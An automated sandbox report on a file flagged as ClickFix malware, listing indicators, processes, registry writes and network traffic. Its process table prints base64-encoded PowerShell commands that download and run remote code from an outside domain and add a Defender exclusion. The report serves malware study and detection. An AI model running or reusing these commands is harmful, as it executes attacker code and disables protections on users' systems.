File name:

hikvision-js-files-upload.yaml

Full analysis: https://app.any.run/tasks/59e8f47b-cee2-4b49-8bf6-d827985d8ce4
Verdict: Malicious activity
Threats:

ClickFix is a sophisticated social engineering technique that tricks users into manually executing malicious commands on their devices. It masquerades as a "quick fix" for fake technical issues, CAPTCHA verifications, or error messages, often hijacking the clipboard to paste harmful PowerShell or terminal commands. This user-assisted approach helps it bypass traditional security controls, leading to infostealers like Lumma Stealer, RATs, and other malware.

Malware Trends Tracker     >>>
Analysis date: March 25, 2026, 20:01:20
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
susp-clipboard
clickfix
powershell
susp-powershell
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text
MD5:

15798D622BF0428A78D3DB2B916AF231

SHA1:

3FCB20EE135B1F3433C4B548FEEC3B825ED45AE7

SHA256:

10248367E219272409DEAD024A2247CB084231CE3121DBD1F90BDB9EA751E054

SSDEEP:

24:0x3H53RWoynHStOGtaNq64vJvy/WA+WvQ5PAn2DrRw7EPnCh/DqEuQFqWe3BAQ+2:GpAo6GXvJvy/FvhCC7+Ch/DqHIvQ/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • The process executes via Task Scheduler

      • powershell.exe (PID: 800)
      • schtasks.exe (PID: 2436)
      • powershell.exe (PID: 3996)
      • powershell.exe (PID: 5632)
      • schtasks.exe (PID: 6112)
      • powershell.exe (PID: 8124)
      • powershell.exe (PID: 5264)
      • powershell.exe (PID: 1032)
      • powershell.exe (PID: 6112)
      • powershell.exe (PID: 6972)

    • Suspicious clipboard command

      • [System Process] (PID: 0)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 800)
      • powershell.exe (PID: 5632)
      • powershell.exe (PID: 1032)
      • powershell.exe (PID: 6972)

    • Deletes scheduled task without confirmation

      • schtasks.exe (PID: 7520)
      • schtasks.exe (PID: 1404)

  • INFO

    • Launches file with unassociated extension

      • OpenWith.exe (PID: 7704)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6112)
      • powershell_ise.exe (PID: 7896)
      • powershell.exe (PID: 5632)
      • powershell.exe (PID: 5264)
      • powershell.exe (PID: 8124)
      • powershell.exe (PID: 3996)
      • powershell.exe (PID: 6972)

    • Reads Microsoft Office registry keys

      • OpenWith.exe (PID: 7704)

    • Manual execution by a user

      • powershell_ise.exe (PID: 7896)
      • mmc.exe (PID: 8120)
      • powershell_ise.exe (PID: 4112)
      • mmc.exe (PID: 8172)

    • Create files in a temporary directory

      • powershell_ise.exe (PID: 7896)
      • powershell_ise.exe (PID: 4112)

    • Reads security settings of Internet Explorer

      • powershell_ise.exe (PID: 7896)
      • powershell.exe (PID: 800)
      • mmc.exe (PID: 8172)
      • powershell_ise.exe (PID: 4112)
      • powershell.exe (PID: 5264)
      • powershell.exe (PID: 8124)
      • powershell.exe (PID: 3996)
      • powershell.exe (PID: 6112)
      • powershell.exe (PID: 1032)

    • Creates files or folders in the user directory

      • powershell_ise.exe (PID: 7896)
      • powershell_ise.exe (PID: 4112)

    • Checks current location (POWERSHELL)

      • powershell_ise.exe (PID: 7896)
      • powershell_ise.exe (PID: 4112)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell_ise.exe (PID: 7896)
      • powershell.exe (PID: 800)
      • powershell.exe (PID: 5264)
      • powershell_ise.exe (PID: 4112)
      • powershell.exe (PID: 8124)
      • powershell.exe (PID: 3996)
      • powershell.exe (PID: 1032)
      • powershell.exe (PID: 6112)

    • Disables trace logs

      • powershell.exe (PID: 800)
      • powershell.exe (PID: 5632)
      • powershell.exe (PID: 1032)
      • powershell.exe (PID: 6972)

    • Found Base64 encoded network access via PowerShell (YARA)

      • powershell_ise.exe (PID: 4112)

    • Found Base64 encoded access to Windows Defender via PowerShell (YARA)

      • powershell_ise.exe (PID: 4112)

    • Found Base64 encoded access to processes via PowerShell (YARA)

      • powershell_ise.exe (PID: 4112)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
172
Monitored processes
28
Malicious processes
1
Suspicious processes
4

Behavior graph

Click at the process to see the details

Process information

PID
CMD
Path
Indicators
Parent process
0[System Process]
[System Process]
Integrity Level:
UNKNOWN
800"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" -NoProfile -EncodedCommand IwAgAGUANQBjADYANQA1ADgAMwAtAGYAMgA0ADkALQA0AGIAOQAwAC0AYQBmAGUAZQAtADEAYwBmAGEAMwAyAGYAMQAzAGYAN AA3AAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAHEAdQBpAGMAawBtAGUAYQBsAHMALgBuAGEAbQBlACAAfAAgAEkAbgB2AG8AawBlAC0ARQB 4AHAAcgBlAHMAcwBpAG8AbgA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows PowerShell
Exit code:
3221225547
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1032"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" -NoProfile -EncodedCommand IwAgAGUANQBjADYANQA1ADgAMwAtAGYAMgA0ADkALQA0AGIAOQAwAC0AYQBmAGUAZQAtADEAYwBmAGEAMwAyAGYAMQAzAGYAN AA3AAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAHEAdQBpAGMAawBtAGUAYQBsAHMALgBuAGEAbQBlACAAfAAgAEkAbgB2AG8AawBlAC0ARQB 4AHAAcgBlAHMAcwBpAG8AbgA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
1152\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1404"C:\WINDOWS\system32\schtasks.exe" /Delete /TN \XXX /FC:\Windows\System32\schtasks.exe—powershell.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1456\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—schtasks.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2268\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2436"C:\WINDOWS\system32\schtasks.EXE" /run /tnC:\Windows\System32\schtasks.exe—svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3996"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" -NoProfile -EncodedCommand IwAgADUAZQAwAGIAZQA1AGMAZAAtADcAYgAwADUALQA0ADkAMQA1AC0AOQBkADcAZAAtAGIAYgA2ADYAOAA3ADEAZgBkADgAZ AAxAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACgARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBQAEkARAAgACQAUABJAEQAKQAuAE0AYQB pAG4ATQBvAGQAdQBsAGUALgBNAG8AZAB1AGwAZQBOAGEAbQBlACAALQBGAG8AcgBjAGUAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4112"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell ISE
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell_ise.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
Total events
65 250
Read events
65 234
Write events
16
Delete events
0

Modification events

(PID) Process:(7704) OpenWith.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3d\52C64B7E
Operation:writeName:@C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\oregres.dll,-205
Value:
Word
(PID) Process:(7704) OpenWith.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3d\52C64B7E
Operation:writeName:@wmploc.dll,-102
Value:
Windows Media Player
(PID) Process:(7896) powershell_ise.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\CUAS\DefaultCompositionWindow
Operation:writeName:Left
Value:
0
(PID) Process:(7896) powershell_ise.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\CUAS\DefaultCompositionWindow
Operation:writeName:Top
Value:
0
(PID) Process:(5632) powershell.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(5632) powershell.exeKey:HKEY_USERS\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(5632) powershell.exeKey:HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(5632) powershell.exeKey:HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(8172) mmc.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MMC\SnapIns\FX:{c7b8fb06-bfe1-4c2e-9217-7a69a95bbac4}
Operation:writeName:HelpTopic
Value:
C:\WINDOWS\Help\taskscheduler.chm
(PID) Process:(8172) mmc.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MMC\SnapIns\FX:{c7b8fb06-bfe1-4c2e-9217-7a69a95bbac4}
Operation:writeName:LinkedHelpTopics
Value:
C:\WINDOWS\Help\taskscheduler.chm
Executable files
0
Suspicious files
8
Text files
61
Unknown types
0

Dropped files

PID
Process
Filename
Type
7896powershell_ise.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0itcgeq2.div.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7896powershell_ise.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ISE\S-1-5-5-0-231125\PowerShellISEPipeName_1_3d152c3d-97f9-461f-a0b8-d021ab3b5112text
MD5:A5EA0AD9260B1550A14CC58D2C39B03D
SHA256:F1B2F662800122BED0FF255693DF89C4487FBDCF453D3524A42D4EC20C3D9C04
7896powershell_ise.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C0018BB1B5834735BFA60CD063B31956binary
MD5:5CC568946AA12F5D2FBEE91DB18D1C15
SHA256:E98B73CFE6A84F102EDB3FBDDDAD21B70F9D9BAB85AE417B44D318C47481BF71
7896powershell_ise.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3attoepr.0uz.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7896powershell_ise.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C0018BB1B5834735BFA60CD063B31956binary
MD5:6E09F696FACD32EB15BA8F30D91170DC
SHA256:29A6C59AB98E9030F661EB809331BD8C0CC07F218F4510D8AFBB79DCEB57D885
7896powershell_ise.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mxjx4wsw.avg.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7896powershell_ise.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_21oqbweo.lfp.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7896powershell_ise.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cdrijadu.5es.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7896powershell_ise.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_w2htbleb.alw.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7896powershell_ise.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1w3tytd5.rwt.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
116
TCP/UDP connections
52
DNS requests
29
Threats
27

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5276
MoUsoCoreWorker.exe
GET
304
51.104.136.2:443
https://settings-win.data.microsoft.com/settings/v3.0/OneSettings/Client?OSVersionFull=10.0.19045.4046.amd64fre.vb_release.191206-1406&LocalDeviceID=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&FlightRing=Retail&AttrDataVer=186&OSUILocale=en-US&OSSkuId=48&App=WOSC&AppVer=&IsFlightingEnabled=0&TelemetryLevel=1&DeviceFamily=Windows.Desktop
US
—
—
whitelisted
5276
MoUsoCoreWorker.exe
GET
304
51.104.136.2:443
https://settings-win.data.microsoft.com/settings/v3.0/wsd/muse?ProcessorClockSpeed=3094&FlightIds=&UpdateOfferedDays=4294967295&BranchReadinessLevel=CB&OEMManufacturerName=DELL&IsCloudDomainJoined=0&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&sku=48&ActivationChannel=Retail&AttrDataVer=186&IsMDMEnrolled=0&ProcessorCores=6&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&TotalPhysicalRAM=6144&PrimaryDiskType=4294967295&FlightingBranchName=&ChassisTypeId=1&OEMModelNumber=DELL&SystemVolumeTotalCapacity=260281&sampleId=95271487&deviceClass=Windows.Desktop&App=muse&DisableDualScan=0&AppVer=10.0&OEMSubModel=J5CR&locale=en-US&IsAlwaysOnAlwaysConnectedCapable=0&ms=0&DefaultUserRegion=244&UpdateServiceUrl=http%3A%2F%2Fneverupdatewindows10.com&osVer=10.0.19045.4046.amd64fre.vb_release.191206-1406&os=windows&deviceId=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&DeferQualityUpdatePeriodInDays=0&ring=Retail&DeferFeatureUpdatePeriodInDays=30
US
—
—
whitelisted
—
—
GET
200
23.11.41.157:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAjTxtAB8my1oj8MfWpz%2F7Y%3D
NL
binary
312 b
whitelisted
3352
svchost.exe
GET
200
184.24.77.27:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
NL
binary
825 b
whitelisted
3352
svchost.exe
GET
200
51.124.78.146:443
https://settings-win.data.microsoft.com/settings/v3.0/WSD/WaaSAssessment?os=Windows&osVer=10.0.19041.1.amd64fre.vb_release.191206-&ring=Retail&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=BAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&FlightRing=Retail&TelemetryLevel=1&HidOverGattReg=C%3A%5CWINDOWS%5CSystem32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_9610b4821fdf82a5%5CMicrosoft.Bluetooth.Profiles.HidOverGatt.dll&AppVer=10.0&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&OEMModel=DELL&UpdateOfferedDays=4294967295&ProcessorManufacturer=AuthenticAMD&InstallDate=1661339444&OEMModelBaseBoard=&BranchReadinessLevel=CB&OEMSubModel=J5CR&IsCloudDomainJoined=0&DeferFeatureUpdatePeriodInDays=30&IsDeviceRetailDemo=0&FlightingBranchName=&OSUILocale=en-US&DeviceFamily=Windows.Desktop&WuClientVer=10.0.19041.3996&UninstallActive=1&IsFlightingEnabled=0&OSSkuId=48&ProcessorClockSpeed=3094&TotalPhysicalRAM=6144&SecureBootCapable=0&App=WaaSAssessment&ProcessorCores=6&CurrentBranch=vb_release&InstallLanguage=en-US&DeferQualityUpdatePeriodInDays=0&ServicingBranch=CB&OEMName_Uncleaned=DELL&TPMVersion=0&PrimaryDiskTotalCapacity=262144&InstallationType=Client&AttrDataVer=186&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&IsEdgeWithChromiumInstalled=1&OSVersion=10.0.19045.4046&IsMDMEnrolled=0&ActivationChannel=Retail&HonorWUfBDeferrals=1&FirmwareVersion=A.40&TrendInstalledKey=1&OSArchitecture=AMD64&DefaultUserRegion=244&UpdateManagementGroup=2
US
text
5.74 Kb
whitelisted
3352
svchost.exe
GET
200
23.59.18.102:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
US
binary
814 b
whitelisted
5316
svchost.exe
POST
400
40.126.31.67:443
https://login.live.com/ppsecure/deviceaddcredential.srf
US
text
203 b
whitelisted
5316
svchost.exe
POST
200
40.126.31.67:443
https://login.live.com/RST2.srf
US
xml
1.24 Kb
whitelisted
5316
svchost.exe
GET
200
23.11.41.157:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D
NL
binary
471 b
whitelisted
5316
svchost.exe
POST
400
40.126.31.67:443
https://login.live.com/ppsecure/deviceaddcredential.srf
US
text
203 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3352
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4
System
192.168.100.255:137
—
Not routed
—
whitelisted
5276
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
—
—
48.192.1.65:443
activation-v2.sls.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
5532
SearchApp.exe
2.16.204.145:443
www.bing.com
AKAMAI-ASN1
NL
whitelisted
—
—
23.11.41.157:80
ocsp.digicert.com
AKAMAI-AMS
NL
whitelisted
4
System
192.168.100.255:138
—
Not routed
—
whitelisted
3352
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
3352
svchost.exe
184.24.77.27:80
crl.microsoft.com
AKAMAI-ASN1
NL
whitelisted
3352
svchost.exe
23.59.18.102:80
www.microsoft.com
AKAMAI-AS
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 51.124.78.146
  • 40.127.240.158
whitelisted
activation-v2.sls.microsoft.com
  • 48.192.1.65
whitelisted
google.com
  • 216.58.206.78
whitelisted
www.bing.com
  • 2.16.204.145
  • 2.16.204.152
  • 2.16.204.155
  • 2.16.204.158
  • 2.16.204.157
  • 2.16.204.146
  • 2.16.204.161
  • 2.16.204.153
  • 2.16.204.160
  • 2.16.204.147
  • 2.16.204.144
  • 2.16.204.151
  • 2.16.204.132
whitelisted
ocsp.digicert.com
  • 23.11.41.157
whitelisted
crl.microsoft.com
  • 184.24.77.27
  • 184.24.77.30
  • 184.24.77.22
  • 184.24.77.7
  • 184.24.77.16
  • 184.24.77.24
  • 184.24.77.18
  • 184.24.77.28
  • 184.24.77.9
  • 23.55.110.211
  • 23.55.110.193
  • 184.24.77.13
  • 184.24.77.33
  • 184.24.77.25
  • 184.24.77.11
  • 184.24.77.19
  • 184.24.77.23
whitelisted
www.microsoft.com
  • 23.59.18.102
whitelisted
client.wns.windows.com
  • 172.211.123.248
  • 172.211.123.250
whitelisted
login.live.com
  • 40.126.31.67
  • 40.126.31.131
  • 20.190.159.130
  • 20.190.159.131
  • 20.190.159.2
  • 40.126.31.0
  • 40.126.31.130
  • 40.126.31.3
whitelisted
oneocsp.microsoft.com
  • 204.79.197.203
whitelisted

Threats

PID
Process
Class
Message
3352
svchost.exe
Unknown Traffic
ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
800
powershell.exe
Generic Protocol Command Decode
SURICATA HTTP gzip decompression failed
800
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
800
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
5632
powershell.exe
Generic Protocol Command Decode
SURICATA HTTP gzip decompression failed
5632
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
5632
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
800
powershell.exe
Generic Protocol Command Decode
SURICATA HTTP gzip decompression failed
800
powershell.exe
Potentially Bad Traffic
ET HUNTING schtasks run Command in HTTP Body Response
800
powershell.exe
Potentially Bad Traffic
ET HUNTING Powershell ScheduledTasks cmdlet Register-ScheduledTask command in HTTP Body Response
Process
Message
mmc.exe
Constructor: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
OnInitialize: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
AddIcons: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
ProcessCommandLineArguments: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
hikvision-js-files-upload.yaml